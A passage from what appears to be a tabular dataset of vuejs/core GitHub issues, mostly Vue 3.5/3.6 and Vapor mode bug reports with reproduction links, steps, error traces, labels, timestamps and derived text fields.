### What is expected?

no warning

### What is actually happening?

console print: `renderEffect called without active EffectScope or Vapor instance.`

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-03-31 06:53:02+00:00,2026-04-01 03:12:41+00:00,1,nan,0.847,vapor warning appears when rendering the vapor slot in suspense vue version beta link to open the link what is expected no warning what is actually happening console print system info any additional comments no response,others,-0.802
vuejs/core,4168352860,[Vapor] The vdom component cannot update the dynamic slots of vapor,"### Vue version

3.6.0-beta.9

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v2zAM/SuCdogNpPaADAOWOcG6oYftsA3bjgIK1aYTNbIk6MNNYfi/j5LjLCvaXmzxkY98/BjotTFFH4CuaeVqK4wnDnwwpOdG2y1TosO/JwOx0JKRtFZ3ZIGExdn1RXfmhBdlNGK+xUemmKq1cp5IgZ9NTJApeCDX1vLHbJUXrZAyy4uOmyy7XRKRk80WvzlTVTlpwfpoeOiM5B7QIqS6C95rRT7VUtSHDaMxe2GC22fpJUHt/D5ndMubhgjkVuVESfRhmOSMY0oW5SYc33MZ0l+12mLmnssARKjEYJSsD/A4w2i+aaDlQUaRkY8ZGtFvscDEG8eqjMApe/l/F2lQU3uXHrqk3uHUWrEr7p1WuJYhxjNaY7yQYH8YL3CqjK5J8kQfl1I/fEuYtwGWM17voT48g9+7Y8QY/WnBge2xm7PPc7sD7Da6b35/hyO+z85ON0Fi9CvOX+C0DFHjFPY5qAZlX8QltV/T7Qi1++Nujh6Um5uKQmPkmOJx2gHiqF5q/Z/cVfEu8ZgacYrzHT6969PIXz6vi5U5qT0pT/ua8KfLuu3BRulYZlW8L95e3YHnxQc6/gUMGhuS

### Steps to reproduce

Click the 'add item' button

### What is expected?

Display the last value in the list

### What is actually happening?

unchanged

### System Info

```shell

```

### Any additional comments?

_No response_",scope: vapor,2026-03-30 07:43:58+00:00,2026-03-30 09:27:44+00:00,1,scope: vapor,0.0721,vapor the vdom component cannot update the dynamic slots of vapor vue version beta link to click the add item button what is expected display the last value in the list what is actually happening unchanged system info any additional comments no response,others,-0.2462
vuejs/core,4166913847,"[Vapor] When dynamic slots contain v-for, the behavior differs between vapor mode and vdom mode","### Vue version

3.6.0-beta.9

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kk2P0zAQhv/KyBw2lbZpRQGJkFYsaIXgAAj2wCHSyptMWm8d2/JHtlWV/87YaUsRaC+JPR/PvDPjA7sxJu8DsoKVrrbCeHDog4GeG21XlRId/T0cwGILA7RWd3BFCVeVqlStlfMgBX2WMSBT+AQ31vJ9tpjkrZAym+QdN1l2fw1iAssVfSeVKmdjLeLTxWNnJPdIN4DyIXivFbyvpai3y4pFem6C22TpJFGt/WZSsRVvGhCUW87GlARLiDvLlRNeaPXJ6mASl8ynOtBPW20J3XMZEIRKHVQMXjTY8iCjrJhAKY3oodji/hRMZQ8Hmk3MG4ZyRv4TffZ3G7N/RcS+L4JK5/cyHvJ+isqjnfLaix6vk0Ui7/FogUNE+jOwAC4l5K8dIHf4rlJDhJ8xcUeXEK8vANR5V4zHqONXNn05N7sJQQC04bXw+wLmI5PWdJTIrpl3tO1WrPNHpxU9l4SsWK07IyTabyYqcxUrxmLRRyr105dk8zbExkZ7vcF6+x/7o9tFW8W+W3Roexr32ee5XSMtKbpvf37FHZ3Pzk43QVL0M84f6LQMUeMY9iGohmRfxCW1n9NzF2p95253Hmngx6ai0Bg5pHh6DgE/PtP6H7mL/FXKo4nSFO97tJFJA1zkb/L59AE9z9+y4TdXvzDR

### Steps to reproduce

Click the 'add item' button

### What is expected?

Display the last one

### What is actually happening?

Display the first one

### System Info

```shell

```

### Any additional comments?

v3.6.0-beta.9  <--->  v3.5.31 
The displayed values vary when switching between different versions",,2026-03-30 03:35:41+00:00,2026-03-30 06:05:15+00:00,2,nan,0.1039,vapor when dynamic slots contain v for the behavior differs between vapor mode and vdom mode vue version beta link to click the add item button what is expected display the last one what is actually happening display the first one system info any additional comments v beta v the displayed values vary when switching between different versions,others,0.6486
vuejs/core,4146897999,Teleport + Suspense unmount crash during page navigation in Nuxt SSR (regression in 3.5.31),"### Vue version

3.5.31

### Link to minimal reproduction

https://github.com/Gabriel-SPassos/vue-teleport-regression

### Steps to reproduce

```bash
git clone https://github.com/Gabriel-SPassos/vue-teleport-regression
cd vue-teleport-regression
npm install
npm run dev
```

1. Open http://localhost:3000
2. Click **""Go""**
3. Check the browser console

### What is expected?

Navigation to Page B completes without errors. Teleported elements from the previous page are cleanly unmounted.

### What is actually happening?

**Dev mode** (`npm run dev`):

```
RangeError: Maximum call stack size exceeded
    at queuePostFlushCb
    at queueEffectWithSuspense
    at Object.process
    at flushPostFlushCbs
    at flushJobs
```

Infinite recursion in the scheduler — deferred Teleport post-flush callbacks create a loop between `queueEffectWithSuspense` and `flushJobs`.

**Production mode**  — observed in a real-world Nuxt app:

```
TypeError: Cannot destructure property 'bum' of 'y' as it is null.
    at unmountComponent
    at unmount
    at Object.remove (Teleport.remove)
```

The page freezes — URL updates but the UI does not re-render.

**Vue 3.5.30**: No errors in either dev or production mode. Navigation works as expected.

### System Info

```
System:
  OS: macOS 15.5
  Node: v20.19.0
Binaries:
  npm: 10.8.2
npmPackages:
  vue: 3.5.31
  nuxt: ^4.1.1
```

### Any additional comments?

**Scenario:**
- Nuxt 4 app with SSR enabled
- Page A (`index.vue`): `await useFetch()` in setup (t... [TRUNCATED]","scope: teleport,:hammer: p3-minor-bug,regression",2026-03-26 19:46:30+00:00,2026-04-03 03:45:18+00:00,0,"scope: teleport,:hammer: p3-minor-bug,regression",7.3325,teleport suspense unmount crash during page navigation in nuxt ssr regression in vue version link to open click go check the browser console what is expected navigation to page b completes without errors teleported elements from the previous page are cleanly unmounted what is actually happening dev mode infinite recursion in the scheduler deferred teleport post flush callbacks create a loop between and production mode observed in a real world nuxt app the page freezes url updates but the ui does not re render vue no errors in either dev or production mode navigation works as expected system info any additional comments scenario nuxt app with ssr enabled page a in setup t truncated,bug,-0.1847
vuejs/core,4146019147,ShallowReactiveMarker related errors with TS 7,"### Vue version

3.5.31

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kU9PwzAMxb+KlctAmjbx51RtSIB2gAOgwTGX0nldRppEiVOGqn53nFQbE5p2i/2end+TO3Hv3KSNKAoxC5VXjiAgRQe6NPVcCgpS3EmjGmc9QQdhU2ptv5dYVqRahB7W3jYw4hUjaaSprAm8YnDB/L//ooOygKsxfBZwDf2lNBoJ2lJHDAXQj0O73s+kdYPCe47n+qTMpgMuw3FB2DhdEnI1mx4VYswJmGmt6sk2WMMxO2kApKhs45RG/+pIMbMUBWQlafn759wjH3G871cbrL5O9Ldhl3pSvHkM6FuU4qBR6WukQV68v+CO3wexsauo2X1GXGKwOibGwfYQzYqxj3yZ9ikfSJn6Iyx2hCbsQyXQ5OyzXwo+1OOZ6H+4N5PbPCdNL/pfiVO4ww==

### Steps to reproduce

Consider the following Typescript code.
Other patterns are possible to highlight the presence of `[ShallowReactiveMarker]` 
```ts
const shallow = shallowReactive({ a: 1, b: 2 })
let values: typeof shallow
values = { a: 1, b: 2}
```

### What is expected?

It used to compile fine but after upgrading to the new TS 6.0.2 and to Vue 3.5.31 I now have a tyoe error.
I'm not sure if the change was on Vue or TS side.

### What is actually happening?

`values` assignment has error (visible in Playground link as well):

> Type '{ a: number; b: number; }' is not assignable to type 'ShallowReactive<{ a: number; b: number; }>'.
>  Property '[ShallowReactiveMarker]' is missing in type '{ a: number; b: number; }' but required in type '{ [ShallowReactiveMarker]: never; }'.
> ts(2322)

The crux is that `shallowReactive<T>` returns type `T & { [ShallowReactiveMarker]: never }`.
Adding marker symbols like that can easily be a source of issues because then you can't assign to that variable a ... [TRUNCATED]",scope: types,2026-03-26 17:39:03+00:00,2026-04-03 02:31:01+00:00,0,scope: types,7.3694,shallowreactivemarker related errors with ts vue version link to consider the following typescript code other patterns are possible to highlight the presence of what is expected it used to compile fine but after upgrading to the new ts and to vue i now have a tyoe error i m not sure if the change was on vue or ts side what is actually happening assignment has error visible in playground link as well type a number b number is not assignable to type shallowreactive property shallowreactivemarker is missing in type a number b number but required in type shallowreactivemarker never ts the crux is that returns type adding marker symbols like that can easily be a source of issues because then you can t assign to that variable a truncated,bug,-0.26
vuejs/core,4144199199,customRef type doesn't allow for different setter type,"### Vue version

3.5.31

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UsFuwjAM/RUrF0BCrSa2CwKkbeKwHdjEdow0dcV0hTSJEqdjYvz73JQChwlVauLnZ+f5JXtxb21SBxRjMfG5Ky2BRwoWVKaLqRTkpZhJXVbWOII95MGTqZa4hgOsnamgx8U9qZsvN9oT5DA9s/p9clm+HQK5sijQDWA6g73UAAoJ6kwFZPpNAzg+1uk2CVAg9QddcErGghY7DNuV1fYjPAYdqk908AueT9PFRXl30CIyWv7g2KdZ+HfgOE86Yq8Hadr0Jm5IPxah9KANT5dZVoIrqSdp6xe7wwFhZVVGyBHAZFXWKe8m6QUshmwmW7Qui2TjjWbHoz4pclPZUqF7sVSyhVKMO+VSZEqZ7+eIkQt4HJprvjDf/oNv/K7BpHh16NHVKMUpR5ljW9v0/G2BO96fkpVZBcXsK8kleqNCo7GlPQS9YtkXvKj2Kb4VvoB3P98Rat8N1QiNbke+FPxyHq+MfpY7Sm67W2IXP2p0TU82cJTcJaMbcfgDNNjoew==

### Steps to reproduce

Try to create `customRef` with explicit, different setter type.

### What is expected?

`customRef` allows for different getter/setter respecting `Ref` type

### What is actually happening?

Setter type is not captured

### System Info

```shell
N/A
```

### Any additional comments?

Given that `Ref` itself already has proper generic parameters, fix should be easy. Let me know if PR would be welcome.

Found only this old discussion regarding this issue: https://github.com/vuejs/rfcs/discussions/558",scope: types,2026-03-26 13:55:57+00:00,2026-04-03 02:30:31+00:00,0,scope: types,7.524,customref type doesn t allow for different setter type vue version link to try to create with explicit different setter type what is expected allows for different getter setter respecting type what is actually happening setter type is not captured system info any additional comments given that itself already has proper generic parameters fix should be easy let me know if pr would be welcome found only this old discussion regarding this issue,others,0.9217
vuejs/core,4139760375,Using a computed jsx element in a `{{}}` and as a `:is` causes an ugly circular reference crash,"### Vue version

3.5.31

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ub1OwzAQfpWTl1KpageYQhIJUAcYANEMDF5Cck1dHNvyTymK/O6cU1o6oEqW7Lvvx9/ZA7szZr4LyDKWu8YK48GhDwZkrbqCM+/2nJVcid5o62GARvcmeGwhwtrqHiYknnDFVaOV80D8CmkvTsSrqykUJeSt2IHz3xKLIblIbTOYfEhSQ4xltREOaNVQrd7Bk0W+IEU5veUqXxySUQwqPPZG1h6pAsjTLVqh8pAJd8ib7ucMFiUMw28ZY3I5U7IZMSnxWnTzrdOKxh+SH2fJUEi0L8YLmoizDEYkYbWU+utp7HkbcHbsNxtsPv/pb9PjZXR4tejQ7pCzE+Zr2yHlTPBy9Yx7Op/AXrdBEvsC+IZOy5AyHmj3QbUU+4w3pn0c/02ornLLvUfljkOloIkZRz5n9I0PF0b/i3s9vxl1XEUWfwDLPsEr

### Steps to reproduce

```vue
<script setup lang=""tsx"">
import { computed } from 'vue'

const tsxTest = computed(() => <div style={{ color: 'blue' }}>This is a TSX test</div>);
</script>

<template>
  <component :is=""tsxTest"" /> {{tsxTest}}
</template>
```

### What is expected?

It displays correctly or reports a readable error.

### What is actually happening?

A nasty crash while attempting to encode something in json which crashes because of some circular reference.

```
TypeError: cyclic object value
    toDisplayString https://play.vuejs.org/vue.runtime.esm-browser.js:278
    render about:srcdoc line 64 > injectedScript:32
    renderComponentRoot https://play.vuejs.org/vue.runtime.esm-browser.js:6782
    componentUpdateFn https://play.vuejs.org/vue.runtime.esm-browser.js:8304
    run https://play.vuejs.org/vue.runtime.esm-browser.js:544
    setupRenderEffect https://play.vuejs.org/vue.runtime.esm-browser.js:8439
    mountComponent https://play.vuejs.org/... [TRUNCATED]",,2026-03-26 01:39:54+00:00,2026-03-26 02:01:56+00:00,3,nan,0.0153,using a computed jsx element in a and as a causes an ugly circular reference crash vue version link to what is expected it displays correctly or reports a readable error what is actually happening a nasty crash while attempting to encode something in json which crashes because of some circular reference typeerror cyclic object value todisplaystring render about srcdoc line injectedscript rendercomponentroot componentupdatefn run setuprendereffect mountcomponent truncated,bug,-0.9477
vuejs/core,4132029640,`defineProps` cannot be used as function argument when called directly,"### Vue version

3.5.30

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU01v00AQ/SujvaSRgo2acjFuJECtAAmoaI+WkLEnzpb17mo/0qDI/53ZXTs4CHrgNjtvPt7MvD2yN1pne4+sYKXDXova4aaSAGXL99Egc3e5ua3dDg28U71WEqUrc3KO8L2SUPRobd3hdcV0bSjgU3pXDIpGeekIuLqkV56q56l8mc+a0tM2hmsHFp3XIGrZUZqzFSOUU2fjIDTbGtXDIsvJDtwXIbVR0jo46w3XsHiPQqiUkDAKLvPUZsNWVJwSt7zLHq2StIRjYFexhubkAs0X7TgVrlgBEQlYTRWfPkafMx5Xk7/ZYfPjL/5Hewi+it0ZtGj2tJMT5mrToUvwzf1nPJB9AnvVekHRz4Bf0SrhA8cU9tbLlmjP4iLbD3F3XHYP9ubgUNppqEA0RA4xvmK0zXDif43+m+46u4p5lRxoi+MhnhfRehNuN1fQesJC2PEIo4ZgGCZ9zNEoozPsP1SU5/Cw4xaeuBDQ1N4icGs9WngBLW65xDujtAUCWmi5wcaJn1BboMl9T7QnpZ3YriZiJDererz1sgmbu5iVK+MGx4QCrDN0i+CKqQVI33+nq8lhc7FchhGIJilX04/bjuXA7WoHeNDEyIIOVSt5As8aR5Cu9mfD1+ftYFimy4aBlMBMqO5ikcanuZHvaQWcfttYt1isUl9iCBThvJETEdLB/Fd926MJGiNBrLNX2folG34BukCAlg==

### Steps to reproduce

Writing something like this:
```typescript
someFunction(defineProps<{
  ...
}>())
```

### What is expected?

No error.

### What is actually happening?

Error message `defineProps is not defined` appears.

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-03-25 02:59:46+00:00,2026-03-25 03:41:53+00:00,2,nan,0.0292,cannot be used as function argument when called directly vue version link to writing something like this what is expected no error what is actually happening error message appears system info any additional comments no response,others,-0.8555
vuejs/core,4132011131,·defineProps· cannot be used as function argument when called directly,"### Vue version

3.5.30

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU99v0zAQ/ldOfukqlQSt4yWklWDaBEjAxPYYCYXkmno4tuUfXVGV/52znXYpgj3wZt93vu+7u88H9k7rbOeRFax02GtRO1xXEqBs+S4e6Li9XN/WbosGrlWvlUTpypyCI3yvJBQ9Wlt3uKqYrg0lfE73ikHRKC8dAVeXdMtT9TyVL/MJKV1tY7h2YNF5DaKWHT1ztmKEcmI2DgLZxqgeZllO56B9Fp42SloHZ9ywgtkHFEKlBwmj5DJPNGu2oOL0cMO77NEqSUM4BHUVa6hPLtB81Y5T4YoVEJGA1VTx6VOMOeNxcYw3W2x+/iX+aPchVrE7gxbNjmZywlxtOnQJvrn/gns6n8BetV5Q9gvgN7RK+KAxpb33siXZk7yo9mOcHZfdg73ZO5T22FQQGjKHmF8xmmZY8b9af5a7zK7iu0oONMVxES+baLkOu5s6aHnE9HpcGXEdYLQSDEOZ6+eU62CjmBANNYH/w015Dg9bbuGJCwFN7S0Ct9ajhVfQ4oZLvDNKWyCghZYbbJz4BbUFmoDvSf7JcTFtBVb1eOtlE4Z2MalQxuGNLRVgnaE1hFBsogDp+x+0MDmsL+bzoJqUkWk1fbbNWA7ctnaAe00ibCKs5Ak8I44gzehPwrfndDDM01JDD0pgJlR3MUsdU6vId9Q1p4821i1mi8RLCoEynDfyKIQsMP1Q33dogr3IC8vsTbZ8zYbfaUZ+bg==

### Steps to reproduce

Writing something like this
```typescript
someFunction(defineProps<{
  ...
}>())
```

### What is expected?

No error.

### What is actually happening?

Error message `defineProps is not defined` appears.

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-03-25 02:54:34+00:00,2026-03-25 02:56:04+00:00,0,nan,0.001,defineprops cannot be used as function argument when called directly vue version link to writing something like this what is expected no error what is actually happening error message appears system info any additional comments no response,others,-0.8555
vuejs/core,4125822665,"Under keep-alive, the inactive RouterView child component gets replaced by the currently active sibling RouterView component at the same level.","### Vue version

3.5.21

### Link to minimal reproduction

https://stackblitz.com/~/github.com/WJ0527/keepAlive-demo

### Steps to reproduce

1. Install the Vue DevTools extension in your browser.

2. Open the project's running URL in that browser.

3. Switch from Page 1 to Page 2, and observe the component tree in Vue DevTools.

### What is expected?

<img width=""780"" height=""399"" alt=""Image"" src=""https://github.com/user-attachments/assets/e8cd8f87-3cb4-49f6-b3db-40db01fe0ef7"" />
Under the active RouteView component with the key ""page2"", the KeepAlive component contains only the Page2 component. Under the inactive RouteView component with the key ""page1"", the KeepAlive component contains only the Page1 component.

### What is actually happening?

<img width=""780"" height=""513"" alt=""Image"" src=""https://github.com/user-attachments/assets/bb5b8c03-e774-4fff-9686-7ba47f76a57a"" />Under the inactive RouteView component with the key ""page1"", the KeepAlive component contains  not only the Page1 component but also the Page2 component .

### System Info

```shell

```

### Any additional comments?

Help needed urgently!!!",,2026-03-24 07:26:15+00:00,2026-03-25 03:43:21+00:00,9,nan,0.8452,under keep alive the inactive routerview child component gets replaced by the currently active sibling routerview component at the same level vue version link to install the vue devtools extension in your browser open the project s running url in that browser switch from page to page and observe the component tree in vue devtools what is expected under the active routeview component with the key page the keepalive component contains only the page component under the inactive routeview component with the key page the keepalive component contains only the page component what is actually happening under the inactive routeview component with the key page the keepalive component contains not only the page component but also the page component system info any additional comments help needed urgently,others,0.7935
vuejs/core,4121350971,"`defineModel` with a backtick string causes `duplicate model name ""modelValue""`","### Vue version

3.5.30

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01r3DAQ/SuDLtvCYidtT64TaEugKfSDpkcd1rVnHSXySEjjrY3xf+/Iy+aL7F6EZt574s0be1KfvM92PapClbEOxjNE5N5fajKdd4Hhi+s8bIPrYJXlqUj0laYy3/OFKQVj523FKBVAuWiK4UKrc62gGOXyTqtcwDJ/wlRrxbF2tDVtdhcdiYkp6bWq5QFjMfz0bBxFrQpYkIRV1rp/35Yehx7Xh359i/X9K/27OKSeVr8CRgw71OoB4yq0yHv46uYHDnJ/ADvX9FbYJ8DfGJ3tk8c97XNPjdh+wlvcXi9RGmr/xKuBkeJhqGQ0MeeFr5VEm7I7Nvqj3ffZh0WnaZYUD2t5uUWwFbUSPsszkneeS9iRYYALaHBrCL+7Bm1JffcXw+Wb1bBaw5SgqrdcwPnZGcxvPz4Kx2PC8YgwSeF6C47sKGoTQTbbITE24kLKKKMSC2hacgGbbFHcIHYR+LZiORCo6jCRyTF4U9+LWGbzwXkMdtR0eqrNsHnd3OmZNuMR2akPvzG75QLwFWXxME3DPMs5zrIpwfM94flfMP8Ha4MsvA==

### Steps to reproduce

Simply define:
```
const x = defineModel<number>(`x`, { default: 100 });
```

Try to bind `x`. It won't even bind but no error is shown.

Also:
```
const x = defineModel<number>(`x`, { default: 100 });
const y = defineModel<number>(`y`, { default: 100 });
```

Results in a confusing error.

### What is expected?

Backtick strings should be evaluated correctly or at least error.
I would suggest only accepting backtick strings without any templates inside.

### What is actually happening?

Only one `defineModel` is ignored silently.
Two fail with a confusing error.

### Any additional comments?

I use stylistic to default to backtick because then I don't have to change the ticks everytime I want to use string substitution later.","scope: sfc,:hammer: p3-minor-bug",2026-03-23 14:31:47+00:00,2026-03-25 06:28:49+00:00,0,"scope: sfc,:hammer: p3-minor-bug",1.6646,with a backtick string causes vue version link to simply define try to bind it won t even bind but no error is shown also results in a confusing error what is expected backtick strings should be evaluated correctly or at least error i would suggest only accepting backtick strings without any templates inside what is actually happening only one is ignored silently two fail with a confusing error any additional comments i use stylistic to default to backtick because then i don t have to change the ticks everytime i want to use string substitution later,bug,-0.9757
vuejs/core,4107218739,[Vapor] Click event modifiers not working as expected,"### Vue version

3.6.0-beta.8

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUttu2zAM/RVWL3aBzB7QYRiKJNsSBMOG7oJtjwIGxWJStbJk6OJmCPLvo+Q4zUO72g+SyMODQx7u2ceuq/qI7JpNfeNUF8BjiB30orNuzo1q6QywB2u+2mgCSjjAxtkWCiorToClbbtjvKrTI7FSOv0aA0glF8pImMFGaI/cnPjK8hJmc9hzA1DX8CkKJ0FshTI+QBt1UJ1GWFOxTxC1KS+OZJdDEZyRBxeJO8dsE1s0oVpb+bcSUq56et0oH9CgK4tGq+a+mECJKf4oIX1CowtlsaBKeBAeMhbl++JyQBzyeeAmXab1MDgaFj0Ctp0WAekFMJWqzxe6ppnMp3k0Q64ektP6VMImLPjGmo3aVnfeGjIlS+KsoSpFor53QVnjObsexXImtLYPX3IsdT8Z480tNvdPxO/8LsU4++HQo+uRs1MuCLfFMKRXv77hju6nZGtl1IT+T/Ineqtj0jjAFtFIkn2Gy2o/551RZvvbr3bkhx+bGu07ZDxntENpYM+1/ij3qnozWkJTHPfv2a3eRNMkOmhulZY3dks7mFmPzi9T+Nz6i2Q9sb9gNnzI+MoH282SBQM7Z8ctAFimPLS5yydWgBuS/6dHl0ZC8q+qt9XrV2sMonrHDv8A7uU4PQ==

### Steps to reproduce

Click on ""Click me""

### What is expected?

The child component click event handler should fire and the event should not be propagated. 

### What is actually happening?

stopPropagation is probably not being fired

### System Info

```shell

```

### Any additional comments?

_No response_",scope: vapor,2026-03-20 10:59:35+00:00,2026-03-23 01:22:11+00:00,2,scope: vapor,2.599,vapor click event modifiers not working as expected vue version beta link to click on click me what is expected the child component click event handler should fire and the event should not be propagated what is actually happening stoppropagation is probably not being fired system info any additional comments no response,others,-0.1719
vuejs/core,4107205510,"When using the `Transition` and `KeepAlive` components together, modifying the component code can cause display issues.","### Vue version

3.5.29

### Link to minimal reproduction

https://github.com/minimal-reproduction/vue-3.5.29-transition

### Steps to reproduce

Modify `src/components/WelcomeExample.vue` component's `<script>` section by changing `const text = ref('page-a111')` to reproduce the issue.

https://github.com/user-attachments/assets/ea427b98-90f7-4c10-a78e-04977739d279

### What is expected?

Normal display

### What is actually happening?

Abnormal display

### System Info

```shell

```

### Any additional comments?

_No response_","scope: transition,scope: hmr,:hammer: p3-minor-bug,regression",2026-03-20 10:57:03+00:00,2026-03-25 06:27:51+00:00,0,"scope: transition,scope: hmr,:hammer: p3-minor-bug,regression",4.8131,when using the and components together modifying the component code can cause display issues vue version link to modify component s section by changing to reproduce the issue what is expected normal display what is actually happening abnormal display system info any additional comments no response,bug,-0.296
vuejs/core,4069901485,[Vapor] TransitionGroup cannot perform excessive animation on v-if directives,"### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U9tu2zAM/RVOL22AxMnWXQDPLXZBMWwP27DmYcA8DKpDO2pkSZAoN0Hgfx9lp1kwFH2xRZ7Do0PS3ov3zmVdRJGLIlReOYKAFB100ll/VRrV8ptgDx5r6KH2toUzLjgrTWVNYPra3sNlgs9rqQNOHgCt+DECvxZTeP6bkWI+XsLCHBC2TktCjgCK20hkDbyrtKo2l6U4CD9L71JcLW3TaLzhoJiP1MfL0rWZi2F9Ppw0mobWExaQq9VJ5VC79NIERcqaT95y0yQbVoia2QlnhlbQzVR9sFMKjmrrOeykjgjKDG1yPt/g7iHN5fs9TzAx+r6YazVanf933ziF+ckYikA7nQ5ZN0ND6GeyItXhdMholB0eMrBPknQUzEFqDdmrACgDvi1Nn8SPMmlvpyJkTwS4ozYfj8nHz/PZi4XbTlgEwDpZKdrlsBg1eYMHi2IqKPCqa9Vkd8Ea/oQGyVJUtnVKo//mkrNQiny8LGHs0t5/GXLkY2pszFdrrDaP5O/CNuVK8d1jQN/xcI8YSd8gDz/B1zdfccvnI9jaVdTMfgL8gcHqmDyOtA/RrNj2CW9w+3n4BZRpluF6S8gDPzSVjCZmP/B5+RE/PtH6P7sX2cuhjifKU/zToU+aPMCL7HW2mN0iyeyN6P8CPZI51g==

### Steps to reproduce

Click the 'ToggleShow' button

### What is expected?

All nodes should enter slowly


### What is actually happening?

Only the first node will behave this way


After clicking twice, the console prints: `Cannot set properties of undefined (setting 'disabled')`

### System Info

```shell

```

### Any additional comments?

I have tried making modifications, but I am not sure if they are correct
> https://github.com/jackma9604/core/commit/c1f4fd9363e95f4a73b58f3c3772b639edce1e5b ",,2026-03-13 09:14:51+00:00,2026-03-16 00:15:09+00:00,3,nan,2.6252,vapor transitiongroup cannot perform excessive animation on v if directives vue version beta link to click the toggleshow button what is expected all nodes should enter slowly what is actually happening only the first node will behave this way after clicking twice the console prints system info any additional comments i have tried making modifications but i am not sure if they are correct,others,-0.3491
vuejs/core,4064811470,[Vapor] Error when multiple native functions in template,"### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9kd1KxDAQhV+l5EphTdUVhaUsqOyFgj+olwGJ7djNmiYhmdZC6bs7adkqsvQuc86XyZlJx66d400NbMWykHvlMGmks34tTJaOAh2pQKiclghUJUlWqGbtpSlsdbZKui55kLjlo3B0nPR9lkbiH3o+i2bp9ARbMAy5NZ+q5LtgDYXrYi/Bcls5pcE/OVTWBMGoZXSiJ7W23/eDhr6GxV7Pt5B/HdB3oY2aYM8eAvgGBJs8lL4EHO3N6yO0dJ7Myha1JnrGfIFgdR0zjthNbQqK/Ycb0t5VtGpUpnwLmxbBhP1QMWgk+4EXjH7odmb037hLfjHcE6anLb434GNPWuCSX/LTkw9Aya9Y/wMxRKVa

### Steps to reproduce

1. Create a component with two divs containing `{{ Math.random() }}`
2. Reload the page

### What is expected?

No error and to generate a random number on first load

### What is actually happening?

An error thrown, blocking the component from generating

### System Info

```shell

```

### Any additional comments?

Maybe related to #14560

It works for only one call.
It works when one or multiple in `<script>` part.
It works when the same function is used from `<script>` part with one in template.
",,2026-03-12 13:50:02+00:00,2026-03-12 14:11:01+00:00,0,nan,0.0146,vapor error when multiple native functions in template vue version beta link to create a component with two divs containing reload the page what is expected no error and to generate a random number on first load what is actually happening an error thrown blocking the component from generating system info any additional comments maybe related to it works for only one call it works when one or multiple in part it works when the same function is used from part with one in template,bug,-0.886
vuejs/core,4064810131,[Vapor] Bad optimization for some functions,"### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kd1KxDAQhV+l5EphTdUVhaUsqOyFgj+olwGJ7djNmiYhmdZC6bs7adkqsvQuc86XyZlJx66d400NbMWykHvlMGmks34tTJaOAh2pQKiclghUJUlWqGbtpSlsdbZKui55kLjlo3B0nPR9lkbiH3o+i2bp9ARbMAy5NZ+q5LtgDYXrYi/Bcls5pcE/OVTWBMGoZXSiJ7W23/eDhr6GxV7Pt5B/HdB3oY2aYM8eAvgGBJs8lL4EHO3N6yO0dJ7Myha1JnrGfIFgdR0zjthNbQqK/Ycb0t5VtGpUpnwLmxbBhP1QMWgk+4EXjH7odmb037hLfjHcE6anLb434GNPWuCSX/LTkw9Aya9Y/wMxRKVa

### Steps to reproduce

- Create a Vapor component
- Add 2 div containing Math.random

### What is expected?

Each divs containing a different random values

### What is actually happening?

Both divs contains the same value

### System Info

```shell

```

### Any additional comments?

Maybe related to #14561

Inside the generated `_renderEffect` function `Math.random()` is called once and stored in one variable (see below), it should create one variable for each functions instead.

This is working properly in `<script>` and `<script setup>`


<details><summary>Generated _renderEffect</summary>
<p>

```js
_renderEffect(() => {
  const _Math_random = Math.random()
  _setText(x0, ""random1: "" + _toDisplayString(_Math_random))
  _setText(x1, ""random2: "" + _toDisplayString(_Math_random))
})
```

</p>
</details> 

---

As #14561 is closed, adding info here for this error:
An error on first load and reload seems that `ctx.` is prepended to Math.random and parentheses are not present

<details><summary>Generated _renderEffect</summary>
... [TRUNCATED]",":lady_beetle:  bug,scope: vapor",2026-03-12 13:49:50+00:00,2026-03-13 01:11:14+00:00,1,":lady_beetle:  bug,scope: vapor",0.4732,vapor bad optimization for some functions vue version beta link to create a vapor component add div containing math random what is expected each divs containing a different random values what is actually happening both divs contains the same value system info any additional comments maybe related to inside the generated function is called once and stored in one variable see below it should create one variable for each functions instead this is working properly in and generated rendereffect as is closed adding info here for this error an error on first load and reload seems that is prepended to math random and parentheses are not present generated rendereffect truncated,bug,-0.1531
vuejs/core,4057749537,Typescript noUncheckedIndexedAccess flag is being ignored,"### Vue version

3.5.30

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01vnDAQ/StTX0ikXai07WVLKqVVDmmVJmo2p7CqKMyCU2Mj29BFiP/esfno9kPLxWbmefzem3HPrus6bBtkWxabTPPagkHb1CBSWVwlzJqEvU8kgO1qhLtu55Yr6F0I4DlLLRZKd1swVnNZ7OeNyw+JdEumpLFwUGr7z/kgT1ueB1sIHlAbJYPVFE9lZ0sq41KPqsLxx2enqlEEuxI1gilVI3L4jpBKQK2VBhd3GLrzObhLO8o9yRwPXGIe7EOBsrDlSRluTqrcfx6P6ouR+CwRuHQFL2furvic27+bmMXRaCJZRj8Wq1oQxBsYv1qvz1OG9doj+/48cxgmD6aSf9Gfy8SN8CvtBId2TZKooRdtKhpcLbIuJ11Tm91H9y+ih8F1qwd/yl/sC0aCEzyO/BVxdCKUrWhmyLkDL8IXaikNljcsYZmqai5Q39eWk7MJ285WJiwVQv385GNWE705npWY/fhP/MUcXSxhDxoN6hYTtuRsqgu0Y/rm8Qseab8kK5U3gtBnkl/RKNE4jiPsQyNzon2C82xvq1ppS2O5MzdHi9LMov4gKtWT9CIwv6VGHjG/zjI0C9DPjUcnjJ7hxzMe/da1Cd9M8zaQ3d9aejuEJqc34dtw85oNvwBImUGk

### Steps to reproduce

When using the `noUncheckedIndexedAccess` flag directly in a typescript file, we correctly see ""Object is possibly 'undefined'."" when appropriate, see line 11:

